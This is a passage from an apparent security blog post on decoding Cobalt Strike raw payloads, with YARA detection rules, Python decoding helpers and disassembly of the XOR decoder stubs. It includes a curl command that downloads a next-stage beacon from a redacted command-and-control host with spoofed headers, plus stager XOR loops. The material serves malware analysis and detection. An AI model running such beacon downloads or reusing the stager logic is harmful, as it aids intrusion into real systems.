{
    strings:
        $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
    condition:
        uint32(@h01+0x00e9) == 0x0726774c and
        uint32(@h01+0x0101) == 0xa779563a and
        uint32(@h01+0x0123) == 0xc69f8957 and
        uint32(@h01+0x0142) == 0x3b2e55eb and
        uint32(@h01+0x016c) == 0x869e4675 and
        uint32(@h01+0x0186) == 0x7b18062d and
        uint32(@h01+0x032b) == 0x56a2b5f0 and
        uint32(@h01+0x0347) == 0xe553a458 and
        uint32(@h01+0x0365) == 0xe2899612
}
```

The next stage or beacon could be easily downloaded via curl or wget tool:

```
curl -o beacon_x86.bin -H "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MATMJS)" -H "Host: redacted.qq.com" https://redacted:443/acf2
```

You can find our parser for Raw Payloads and all according yara rules in our IoC repository.

Raw Payloads encoding

Cobalt Strike also includes a payload generator for exporting raw stagers and payload in multiple encoded formats. Encoded formats support UTF-8 and UTF-16le.

Table of the most common encoding with usage and examples:

Encoding	Usage	Example
Hex	VBS, HTA	4d5a9000..

Hex Array	PS1	0x4d, 0x5a, 0x90, 0x00..
Hex Veil	PY	\x4d\x5a\x90\x00..
Decimal Array	VBA	-4,-24,-119,0..
Char Array	VBS, HTA	Chr(-4)&"H"&Chr(-125)..
Base64	PS1	38uqIyMjQ6..
gzip / deflate compression	PS1	
Xor	PS1, Raw payloads, Beacons	

Decoding most of the formats are pretty straightforward, but there are few things to consider.

- Values inside Decimal and Char Array are splitted via "new lines" represented by "\s_\n" (\x20\x5F\x0A).
- Common compression algorithms used inside PowerShell scripts are GzipStream and raw DeflateStream.

Python decompress implementation:

```
# Inflate without headers
def inflate(buff):
    data = zlib.decompressobj(wbits=-15) # -15 = no headers and trailers
    decompressed_data = data.decompress(buff)
    decompressed_data += data.flush()
    return decompressed_data

# Gzip unpack
def gunzip(buff):
    data = zlib.decompressobj(wbits=47) # 47 = zlib + gzip headers and trailers
    decompressed_data = data.decompress(buff)
    decompressed_data += data.flush()
    return decompressed_data
```

XOR encoding

The XOR algorithm is used in three different cases. The first case is one byte XOR inside PS1 scripts, default value is 35 (0x23).

```
for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}
```

The second usage is XOR with dword key for encoding raw payloads or beacons inside PE stagers binaries. Specific header for xored data is 16 bytes long and includes start offset, xored data size, XOR key and four 0x61 junk/padding bytes.

```
21F0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  . . . . . . . . . . . . . . . .
2200h: 10 22 00 00 1D 03 00 00 C4 31 4E 31 61 61 61 61  . " . . . . . . Ä 1 N 1 a a a a
2210h: 38 D9 C7 31 C4 31 2E B8 21 00 9C 55 4F 63 7E BA  8 Ù Ç 1 Ä 1 . ¸ ! . œ U O c ~ º
2220h: 96 3D C5 63 D0 BA 3C 19 CB 86 04 17 F5 CE 7F F1  – = Å c Ð º < . Ë † . . õ Î . ñ
2230h: 68 0D 2F 4D C6 1D 6E F0 0B 3C 4F F6 26 C1 1C 66  h . / M Æ . n ð . < O ö & Á . f
2240h: 4F 63 5E BA 86 0D 4F E1 4F 71 36 B4 04 45 04 30  O c ^ º † . O á O q 6 ´ . E . 0
2250h: 14 61 C5 79 DC BA 16 11 C5 E2 AD 0D 8D BA 7A BA  . a Å y Ü º . . Å â - . . º z º
2260h: C5 E7 7F CE F5 F1 E2 F0 0B 3C 4F F6 FC D1 3B C5  Å ç . Î õ ñ â ð . < O ö ü Ñ ; Å
2270h: C7 4C B6 0A B9 15 3B D3 9C BA 16 15 C5 E2 28 BA  Ç L ¶ . ¹ . ; Ó œ º . . Å â ( º
2280h: C8 7A C5 69 D8 30 9D BA C0 BA 4F E1 4D 75 6A 15  È z Å i Ø 0 . º À º O á M u j .
2290h: 9F 6A 2F 68 9E 60 B1 D1 9C 6E 14 BA D6 DA C8 6C  Ÿ j / h ž ` ± Ñ œ n . º Ö Ú È l
22A0h: AC 5F 2B 45 C4 59 39 58 AA 58 1A 59 88 46 68 36  ¬ _ + E Ä Y 9 X ª X . Y ˆ F h 6
22B0h: 3B E4 7F CE 93 66 19 66 93 59 74 67 BD 96 B1 E4  ; ä . Î " f . f " Y t g ½ – ± ä
22C0h: 2D B5 4E 31 C4 6A 7F F8 95 60 24 32 95 60 26 60  - µ N 1 Ä j . ø • ` $ 2 • ` & `
```

Python header parsing:

```
p_offset,p_size,p_xor_key,p_junk = struct.unpack_from('<IIII', buff, header_offset)
```

We can create Yara rule based on XOR key from header and first dword of encoded data to verify supposed values there:

```
rule cobaltstrike_strike_payload_xored
{
    strings:
        $h01 = { 10 ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? 61 61 61 61 }
    condition:
        //x86 payload
        uint32be(@h01+8) ^ uint32be(@h01+16) == 0xFCE88900 or
        //x64 payload
        uint32be(@h01+8) ^ uint32be(@h01+16) == 0xFC4883E4 or
        //x86 beacon
        uint32be(@h01+8) ^ uint32be(@h01+16) == 0x4D5AE800 or
        //x64 beacon
        uint32be(@h01+8) ^ uint32be(@h01+16) == 0x4D5A4152 or
        //NOP slide
        uint32be(@h01+8) ^ uint32be(@h01+16) == 0x90909090
}
```

The third case is XOR encoding with a rolling dword key, used only for decoding downloaded beacons. The encoded data blob is located right after the XOR algorithm code without any padding. The encoded data starts with an initial XOR key (dword) and the data size (dword xored with init key).

There are x86 and x64 implementations of the XOR algorithm. Cobalt Strike resource includes xor.bin and xor64.bin files with precompiled XOR algorithm code.

Default lengths of compiled x86 code are 52 and 56 bytes (depending on used registers) plus the length of the junk bytes. The x86 implementation allows using different register sets, so the xor.bin file includes more than 800 different precompiled code variants.

```
00000000                          start:
00000000 FC                                       cld
00000001 E8 00 00 00 00                           call    $+5
00000006 EB 27                                    jmp     short init_call
00000008
00000008                          ; ============== S U B R O U T I N E =======================================
00000008
00000008
00000008                          init            proc near               ; CODE XREF: seg000:init_call↓p
00000008                          R1 = eax
00000008                          R2 = ebx
00000008                          R3 = ecx
00000008                          R4 = edx
00000008 58                                       pop     R1
00000009 8B 18                                    mov     R2, [R1]
0000000B 83 C0 04                                 add     R1, 4
0000000E 8B 08                                    mov     R3, [R1]
00000010 31 D9                                    xor     R3, R2
00000012 83 C0 04                                 add     R1, 4
00000015 50                                       push    R1
00000016
00000016                          xor_loop:                               ; CODE XREF: init+22↓j
00000016 8B 10                                    mov     R4, [R1]
00000018 31 DA                                    xor     R4, R2
0000001A 89 10                                    mov     [R1], R4
0000001C 31 D3                                    xor     R2, R4
0000001E 83 C0 04                                 add     R1, 4
00000021 83 E9 04                                 sub     R3, 4
00000024 31 D2                                    xor     R4, R4
00000026 39 D1                                    cmp     R3, R4
00000028 74 02                                    jz      short jmp_to_payload
0000002A EB EA                                    jmp     short xor_loop
0000002C                          ; ---------------------------------------------------------------------------
0000002C
0000002C                          jmp_to_payload:                         ; CODE XREF: init+20↑j
0000002C 5B                                       pop     R2
0000002D FF E3                                    jmp     R2
0000002D                          init            endp ; sp-analysis failed
0000002D
0000002F                          ; ---------------------------------------------------------------------------
0000002F
0000002F                          init_call:                              ; CODE XREF: seg000:00000006↑j
0000002F E8 D4 FF FF FF                           call    init
```

Yara rule for covering all x86 variants with XOR verification:

```
rule cobaltstrike_beacon_xored_x86
{
    strings:
        // x86 xor decrypt loop
        // 52 bytes variant
        $h01 = { FC E8??000000 [0-32] EB27 ?? 8B?? 83??04 8B?? 31?? 83??04 ?? 8B?? 31??
        89?? 31?? 83??04 83??04 31?? 39?? 7402 EBEA ?? FF?? E8D4FFFFFF }
        // 56 bytes variant
        $h02 = { FC E8??000000 [0-32] EB2B ?? 8B??00 83C504 8B??00 31?? 83C504 55 8B??00
        31?? 89??00 31?? 83C504 83??04 31?? 39?? 7402 EBE8 ?? FF?? E8D0FFFFFF }
        // end of xor decrypt loop
        $h11 = { 7402 EB(E8|EA) ?? FF?? E8(D0|D4)FFFFFF }
    condition:
        any of ($h0*) and (
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x4D5AE800 or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x904D5AE8 or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90904D5A or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x9090904D or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90909090
        )
}
```

The precompiled x64 code is 63 bytes long with no junk bytes. There is also only one precompiled code variant.

```
00000000                    start:
00000000 FC                                 cld
00000001 48 83 E4 F0                        and     rsp, 0FFFFFFFFFFFFFFF0h
00000005 EB 33                              jmp     short init_call
00000007
00000007                    ; =============== S U B R O U T I N E =======================================
00000007
00000007                    ; Attributes: noreturn fuzzy-sp
00000007
00000007                    init            proc near               ; CODE XREF: init:init_call↓p
00000007 5D                                 pop     rbp
00000008 8B 45 00                           mov     eax, [rbp+0]
0000000B 48 83 C5 04                        add     rbp, 4
0000000F 8B 4D 00                           mov     ecx, [rbp+0]
00000012 31 C1                              xor     ecx, eax
00000014 48 83 C5 04                        add     rbp, 4
00000018 55                                 push    rbp
00000019
00000019                    xor_loop:                               ; CODE XREF: init+29↓j
00000019 8B 55 00                           mov     edx, [rbp+0]
0000001C 31 C2                              xor     edx, eax
0000001E 89 55 00                           mov     [rbp+0], edx
00000021 31 D0                              xor     eax, edx
00000023 48 83 C5 04                        add     rbp, 4
00000027 83 E9 04                           sub     ecx, 4
0000002A 31 D2                              xor     edx, edx
0000002C 39 D1                              cmp     ecx, edx
0000002E 74 02                              jz      short jmp_to_payload
00000030 EB E7                              jmp     short xor_loop
00000032                    ; ---------------------------------------------------------------------------
00000032
00000032                    jmp_to_payload:                         ; CODE XREF: init+27↑j
00000032 58                                 pop     rax
00000033 FC                                 cld
00000034 48 83 E4 F0                        and     rsp, 0FFFFFFFFFFFFFFF0h
00000038 FF D0                              call    rax
0000003A
0000003A                    init_call:                              ; CODE XREF: seg000:0000000000000005↑
0000003A E8 C8 FF FF FF                     call    init
```

Yara rule for x64 variant with XOR verification:

```
rule cobaltstrike_beacon_xored_x64
{
    strings:
        // x64 xor decrypt loop
        $h01 = { FC 4883E4F0 EB33 5D 8B4500 4883C504 8B4D00 31C1 4883C504 55 8B5500 31C2
        895500 31D0 4883C504 83E904 31D2 39D1 7402 EBE7 58 FC 4883E4F0 FFD0 E8C8FFFFFF }
        // end of xor decrypt loop
        $h11 = { FC 4883E4F0 FFD0 E8C8FFFFFF }
    condition:
        $h01 and (
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x4D5A4152 or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x904D5A41 or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90904D5A or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x9090904D or
            uint32be(@h11+12) ^ uint32be(@h11+20) == 0x90909090
        )
}
```

You can find our Raw Payload decoder and extractor for the most common encodings here. It uses a parser from the previous chapter and it could save your time and manual work. We also provide an IDAPython script for easy raw payload analysis.

Conclusion

As we see more and more abuse of Cobalt Strike by threat actors, understanding how to decode its use is important for malware analysis.

In this blog, we've focused on understanding how threat actors use Cobalt Strike payloads and how you can analyze them.

The next part of this series will be dedicated to Cobalt Strike beacons and parsing its configuration structure.

Tagged ascobalt strike